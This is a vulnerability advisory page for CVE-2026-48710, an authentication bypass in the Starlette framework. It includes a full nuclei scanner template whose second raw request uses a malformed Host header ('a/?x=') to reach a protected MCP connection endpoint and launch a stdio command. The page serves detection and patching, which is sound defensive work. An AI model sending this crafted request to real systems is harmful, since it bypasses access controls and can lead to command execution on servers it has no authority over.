Browse / CVEs / CVE-2026-48710
CVE-2026-48710· Kludex / starlette· CWE-1289
Starlette - Improper Validation of Unsafe Equivalence in Input
Exploited in the wild. Listed by CISA on 2026-09-02; known to be used by ransomware.
A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
Impact
A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
Fix
Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
How to confirm it
Send: POST /mcp-rest/test/connection
Positive when: status_code == 401 and contains_any(body, "auth_error", "Authentication Error")
Send: POST /mcp-rest/test/connection
Positive when: contains "Failed to connect to MCP server" and "status" AND status 200Run it with nuclei: nuclei -id CVE-2026-48710 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2026-48710
info:
name: Starlette - Improper Validation of Unsafe Equivalence in Input
author: ritikchaddha
severity: critical
description: |
A flaw was found in Starlette, a lightweight ASGI (Asynchronous Server Gateway Interface) framework. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP Host request header. This malformed header could cause the request.url to be incorrectly reconstructed, leading to a discrepancy with the actual requested path. Consequently, security restrictions enforced by middleware and endpoints that rely on request.url for validation could be bypassed, potentially allowing unauthorized access or actions.
impact: |
A remote attacker can exploit this vulnerability by sending a specially crafted HTTP Host header in a request to a Starlette-based application. Due to improper validation of the Host header, security restrictions that rely on request.url for enforcement may be bypassed. This allows attackers to gain unauthorized access to endpoints protected by middleware or path-based checks, potentially leading to privilege escalation, information disclosure, or unauthorized actions.
remediation: |
Upgrade Starlette to >= 1.0.1 to address this vulnerability.If immediate patching is not possible, implement strict Host header validation in a reverse proxy or web server (such as nginx or Apache) to only allow expected Host values, mitigating the risk of URL-based restriction bypass.
reference:
- https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr
- https://nvd.nist.gov/vuln/detail/CVE-2026-48710
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2026-48710
epss-score: 0.70288
epss-percentile: 0.99389
cwe-id: CWE-1289
metadata:
max-request: 2
vendor: Kludex
product: starlette
shodan-query: http.html:"starlette"
fofa-query: body="starlette"
tags: cve,cve2026,starlette,auth-bypass,badhost,vkev,kev
flow: http(1) && http(2)
http:
- raw:
- |
POST /mcp-rest/test/connection HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"transport":"stdio","command":"echo","args":["test"]}
matchers:
- type: dsl
dsl:
- 'status_code == 401'
- 'contains_any(body, "auth_error", "Authentication Error")'
condition: and
internal: true
- raw:
- |
POST /mcp-rest/test/connection HTTP/1.1
Host: a/?x=
Content-Type: application/json
Content-Length: 54
{"transport":"stdio","command":"echo","args":["test"]}
unsafe: true
matchers-condition: and
matchers:
- type: word
words:
- "Failed to connect to MCP server"
- "status"
condition: and
- type: status
status:
- 200References
- https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr
- https://nvd.nist.gov/vuln/detail/CVE-2026-48710
Use this check only on systems you are authorised to test. Where the data comes from